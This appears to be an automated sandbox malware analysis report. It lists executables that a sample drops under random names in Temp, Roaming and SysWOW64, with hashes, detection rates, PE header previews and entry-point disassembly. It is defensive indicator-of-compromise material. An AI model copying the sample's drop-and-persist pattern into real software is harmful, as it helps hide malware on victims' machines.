Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....O.a.................$...................@....@.......................... T.....b.6.....................................\|lO. .....M...................................................................................................................... ..........................@................0......................@...........&....@......................@................0......................@............1...P......................@............02......./.................@....rsrc.........M......40.............@....T3QbYgM.....`O.......1.............@....adata........T......z6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7C86.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\85ED.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	319488
Entropy (8bit):	6.688703553273413
Encrypted:	false
SSDEEP:	6144:S909///L+1wVKxy1Tx1aae6lRfp0ywq7277u/0JXpG:S+1CwlaibfWyh72O/0
MD5:	AE68C579B04E099661F2647392413398
SHA1:	86A5FF64E1BC97E326DE15DAD416CAAB0D65ED63
SHA-256:	3C01A5C7F92692B7B8EE8CDABD23B341645BA3D972163DD90D0CC4327F841BF6
SHA-512:	A7B53C2159EA5D7C9AF1C374E8CA5FC82F36B8CA866540F07270750035EBCF702693B2E52C3F1B6421015BD33E4AB82EBED7F30C813D3640A92A1B365287B3BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L...C.g_............................0.............@.................................ad......................................d...(...................................................................0...@...............@............................text............................... ..`.data...............................@....wager..............................@....pevojok............................@....hovefup............................@....rsrc...............................@..@.reloc...F.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8939.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	319488
Entropy (8bit):	6.685024001718047
Encrypted:	false
SSDEEP:	6144:1AtbsSDcVODNard9yHtyxZD2OxNbnaBLeYe:1ACfwNCUNyPD2abnee
MD5:	9132D968A613216A67E889ADDB7307E1
SHA1:	A370948A778483A60933CA1AAA32F508AB83727B
SHA-256:	EFAED2D6F7FC31406B74F055043AFF0887047C0181656BDEE87C43906A22B596
SHA-512:	F68658D696E3C1CED18EB85282BB814A9098D87CA9AED3A19D8C4C040FE6753545FAAA0B247631912D30B0931DED19291507940C6D5F5B9066A261B0B1A1B3F2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L...D..`..........................................@.................................VZ..........................................(...................................................................0...@...............@............................text...B........................... ..`.data...............................@....fawed..............................@....piwo...............................@....rema...............................@....rsrc...............................@..@.reloc...F.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8DFC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\D489.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D675.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	323072
Entropy (8bit):	6.7090712166873185
Encrypted:	false
SSDEEP:	6144:/YEm3J+HoT/tixXf4a845bUTonGs2tqd/QMqjn:/nm3J+nd4CNCoGs28/Q
MD5:	E65722B6D04BD927BCBF5545A8C45785
SHA1:	5E66800F19A33F89AC68C72EF80FCD8EB94EAB44
SHA-256:	70C3CA7C90CC0A490CA569E569F5EC6377F2C8262F150D63077832030DB4DD94
SHA-512:	6A9AA8096161EB4CE9C3E9DBB8BA3B98F1BC8078076B0C421E45B77139D7875BD8D69CA470C6E36EF776935E06D079051B3DD2F3EE9D3EC10A63944D81D035DB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L...9.g_..........................................@.................................8.......................................$...(...................................................................0...@...............@............................text............................... ..`.data...............................@....tegog..............................@....jat................................@....vudit..............................@....rsrc................"..............@..@.reloc...G.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E812.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373760
Entropy (8bit):	6.990411328206368
Encrypted:	false
SSDEEP:	6144:GszrgLWpo6b1OmohXrIdF5SpBLE4Hy+74YOAnF3YFUGFHWEZq:Gsgq3b1Omsb7pBLEazsYOSGFHFHW
MD5:	8B239554FE346656C8EEF9484CE8092F
SHA1:	D6A96BE7A61328D7C25D7585807213DD24E0694C
SHA-256:	F96FB1160AAAA0B073EF0CDB061C85C7FAF4EFE018B18BE19D21228C7455E489
SHA-512:	CE9945E2AF46CCD94C99C36360E594FF5048FE8E146210CF8BA0D71C34CC3382B0AA252A96646BBFD57A22E7A72E9B917E457B176BCA2B12CC4F662D8430427D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..U(...(...(...6.).1...6.?.W....l..+...(.......6.8.....6.(.)...6.-.)...Rich(...........PE..L...a.R`.....................v......@.............@..................................&..........................................(........{...................0..........................................@...............8............................text............................... ..`.data...............................@....gizi...............................@....bur................................@....wob................................@....rsrc....{.......\|..................@..@.reloc..4F...0...H...l..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F10C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	356864
Entropy (8bit):	7.848593493266229
Encrypted:	false
SSDEEP:	6144:v5aWbksiNTBiNg5/dEQECtD2YajndnU4aomwStqUJE0ra7yswH:v5atNTMNg5eQX2BdUcDStq+J4bwH
MD5:	6E7430832C1C24C2BF8BE746F2FE583C
SHA1:	158936951114B6A76D665935AD34F6581556FCDF
SHA-256:	972D533E4DF0786799C0E7C914AA6C04870753C10757C5D58CD874B92A7F4739
SHA-512:	79289323C1104F7483FAC9BF2BCAB5B3804C8F2315C8EDEA9D7C83C8B68B64473122F9B38627169D64A35A960A5F74A3364159CA9CB37B0A2B1BA1B41607A8C8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....\...............0....@.........................................................................lq......................................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......J..............@....rsrc................\..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\exmrkmjs.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\85ED.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11102208
Entropy (8bit):	3.808128433057405
Encrypted:	false
SSDEEP:	6144:u909///L+1wVKxy1Tx1aae6lRfp0ywq7277u/0JXpG:u+1CwlaibfWyh72O/0
MD5:	DE08546817759CBAF608DD7610200E9D
SHA1:	358CAB1A84AF36344C3EE20CD6D281E15CB53A36
SHA-256:	D4AD87997CCE89DA8F7AE157D84397B55EB781741DA19749B5DB6A62D09EF0C6
SHA-512:	C4822E5B6E27002DF68460B0A3FAA4A86A63DE50E5B23BED46993DF9F03E1B21A1A4EEE211B9467EC39C0DEACAD8280FC1095FE7455E8CE4EE1708DAB80B41D9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L...C.g_............................0.............@.................................ad......................................d...(...................................................................0...@...............@............................text............................... ..`.data...............................@....wager..............................@....pevojok............................@....hovefup............................@....rsrc...............................@..@.reloc...F.........................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001 (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.1098648883328519
Encrypted:	false
SSDEEP:	12:26IXm/Ey6q99955ySq3qQ10nMCldimE8eawHjcgad:265l68CXLyMCldzE9BHjcvd
MD5:	8F621F168C28B85234DB86CEA4E99982
SHA1:	B3AB3A010C2173D857F556E6EA6EE2CE682DDB95
SHA-256:	4E70DCE3F7361E91600CABBDF100ED735F671C715A35F50B4D77CF07DADC1568
SHA-512:	9C15DB73D654F0434DD6887AFC522E17F30F8EFE4F6F681055C6B3EE3BE591E4D61209CEAF329AF2F7BE0735D1ED401D861196DE48D8CD092BC4FD7B8626622B
Malicious:	false
Reputation:	unknown
Preview:	................................................................................\|.......`..:.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................sonP~..... .....n.y ,...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.\|..........:....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.112513232510139
Encrypted:	false
SSDEEP:	12:WNXm/Ey6q99955jUqL1miM3qQ10nMCldimE8eawHza1miIb:Wwl68TUqL1tMLyMCldzE9BHza1tIb
MD5:	EE6FC4EF6644D09E1B3D6CB52CDF6C22
SHA1:	7B1A28B4BEEF758F5A97B76C6BC0366DD238AE79
SHA-256:	6487F358062C8ACD35931C06E8955E8467B1381AD8D970E82DAE84A3F15730C6
SHA-512:	872EFD38CCDF5D55DCC7BDCD05F9D50211CF8BD06AB95A636C2773EAF8221842F8F3CF40860FD2F3DAF6AB7E39F60393D0218FC6169091FA7AFF8EDF6B332CAC
Malicious:	false
Reputation:	unknown
Preview:	................................................................................\|.......,..:.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................sonP~..... .....I.q ,...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.\|..........:....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001`v (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11253891868205498
Encrypted:	false
SSDEEP:	12:o4Xm/Ey6q99955jUqL1mK2P3qQ10nMCldimE8eawHza1mK45:Wl68TUqL1iPLyMCldzE9BHza1i
MD5:	DB30696F37B121E9189CF10DF2A42A7C
SHA1:	8ECFCD87AECC2FA68F6494E6D89F32EB3B87730C
SHA-256:	592EE6D460BB282C61E445299599AAF9EDB69CAFB3F53AD51122D5EC9F971658
SHA-512:	1FFE69692DC22051165E58DE9172D346C8D94DF8E1E78AE4057A581630B48451622D3A5C3C51501671439A07333AC982D1FF291B19D5AD145D05AC6D5C1633EC
Malicious:	false
Reputation:	unknown
Preview:	................................................................................\|..........:.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................sonP~..... .....I.q ,...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.\|.......W..:....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jhewjjt Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.688085133585924
Encrypted:	false
SSDEEP:	6144:/Oavz6WY4qUEWuH0EAy7mlXafNHJgrtkP7T2A/HHdsJs:m3WY4qUlEUXGHCRkTT2AHd
MD5:	228E9E4A42F5596A5BECBACC44A03FC7
SHA1:	C1207AD874E88DB39FB45FBB30B80A22B14A3F8D
SHA-256:	587E1548861C1D728E458C1A01C5D7778A9981C292F472D0E53B762E52C3112F
SHA-512:	37DA876A33AB47DDF9A321AC0064E8DABE2D7DCC19BBFCEA83623F0D156B237048DEA40775BB4F1B8068F02FB559A78307C9AC9A13F3C73FCD4AB695F3A63D13
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L...x.\|`..........................................@.............................................................................(...................................................................0...@...............@............................text...B........................... ..`.data...............................@....diw................................@....dekezuc............................@....vop................................@....rsrc...............................@..@.reloc...F.......H..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jhewjjt:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.1626666233081537
Encrypted:	false
SSDEEP:	192:cY+38+DJl+ibJ6+ioJJ+i3N+WtT+E9tD+Ett3d+E3z6+l:j+s+v+b+P+m+0+Q+q+Z+l
MD5:	EA89051203D936EFA88F3E205C6B0F4D
SHA1:	D241387FB7E7171AE8B605C96B47994EFF100E74
SHA-256:	3B4F1D7EC90280D778CCE3A85F2A304AD2FCE39CCF282525A0414E6FB1305746
SHA-512:	7929D069A037861D75B04AB41490F1777F0E2EBC77931BD13A0EE6E557D009B89FFB68883E60DFE619E63822766B4F395768423409DEA3CE639388B74B7095E6
Malicious:	false
Reputation:	unknown
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20220114_095012_648.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.320898461263525
Encrypted:	false
SSDEEP:	96:VCNnCpwo+UCU5DY9e/YjVCcCI2lyfkWc4x+T2jjFzKNMCPdJRW:MT2yE7K2MSaCrw
MD5:	C6CC2E125F9705EA8536D34E8AECF087
SHA1:	ACC731C13D04395483059108B6EFBACA75689569
SHA-256:	162F2B1A5C41FAEEE5B4B2D52304E51C3B3BA023608C6EA5E9FDFFA6E2810B03
SHA-512:	7A74830E78C2218D7A98A50E48F5240766538BC90996D63AF4DC8E9607EC492EB801E649BEF6A8C53E9B51B93E995EAF19F0185D60E3E2A3B947F713AF269CF5
Malicious:	false
Reputation:	unknown
Preview:	.... ... ....................................... ...!....................................P.......................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1..................................................................... .....+...,...........8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.2.0.1.1.4._.0.9.5.0.1.2._.6.4.8...e.t.l.........P.P..........P......................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\rdxbevsp\exmrkmjs.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11102208
Entropy (8bit):	3.808128433057405
Encrypted:	false
SSDEEP:	6144:u909///L+1wVKxy1Tx1aae6lRfp0ywq7277u/0JXpG:u+1CwlaibfWyh72O/0
MD5:	DE08546817759CBAF608DD7610200E9D
SHA1:	358CAB1A84AF36344C3EE20CD6D281E15CB53A36
SHA-256:	D4AD87997CCE89DA8F7AE157D84397B55EB781741DA19749B5DB6A62D09EF0C6
SHA-512:	C4822E5B6E27002DF68460B0A3FAA4A86A63DE50E5B23BED46993DF9F03E1B21A1A4EEE211B9467EC39C0DEACAD8280FC1095FE7455E8CE4EE1708DAB80B41D9
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I...R..I.g.R...)...R...S.>.R..I...R..I...R..I...R.Rich..R.........PE..L...C.g_............................0.............@.................................ad......................................d...(...................................................................0...@...............@............................text............................... ..`.data...............................@....wager..............................@....pevojok............................@....hovefup............................@....rsrc...............................@..@.reloc...F.........................@..B................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.688085133585924
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	JV4ILFxpDY.exe
File size:	320000
MD5:	228e9e4a42f5596a5becbacc44a03fc7
SHA1:	c1207ad874e88db39fb45fbb30b80a22b14a3f8d
SHA256:	587e1548861c1d728e458c1a01c5d7778a9981c292f472d0e53b762e52c3112f
SHA512:	37da876a33ab47ddf9a321ac0064e8dabe2d7dcc19bbfcea83623f0d156b237048dea40775bb4f1b8068f02fb559a78307c9ac9a13f3c73fcd4ab695f3a63d13
SSDEEP:	6144:/Oavz6WY4qUEWuH0EAy7mlXafNHJgrtkP7T2A/HHdsJs:m3WY4qUlEUXGHCRkTT2AHd
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z<...R...R...R..I....R..I..g.R...)...R...S.>.R..I....R..I....R..I....R.Rich..R.........PE..L...x.\|`...........................

File Icon


Icon Hash:	c8d0d8e0f0e8f4e8

Static PE Info

General
Entrypoint:	0x41b6b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x607C9F78 [Sun Apr 18 21:07:04 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	1edccb2e6808b6fbc3aa19660b738ec5

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FF7D0D84D3Bh
call 00007FF7D0D77E26h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043DCB8h
push 0041E890h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00440354h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004010A0h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007FF7D0D77E38h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007FF7D0D77F67h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007FF7D0D77FA4h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007FF7D0D8572Ah
add esp, 04h
test eax, eax
jne 00007FF7D0D77E1Ch
push 0000001Ch
call 00007FF7D0D77F5Ch
add esp, 04h
call 00007FF7D0D80F04h
test eax, eax
jne 00007FF7D0D77E1Ch
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e3e4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x160000	0x83b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x169000	0x1e04	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1390	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9130	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x340	.text
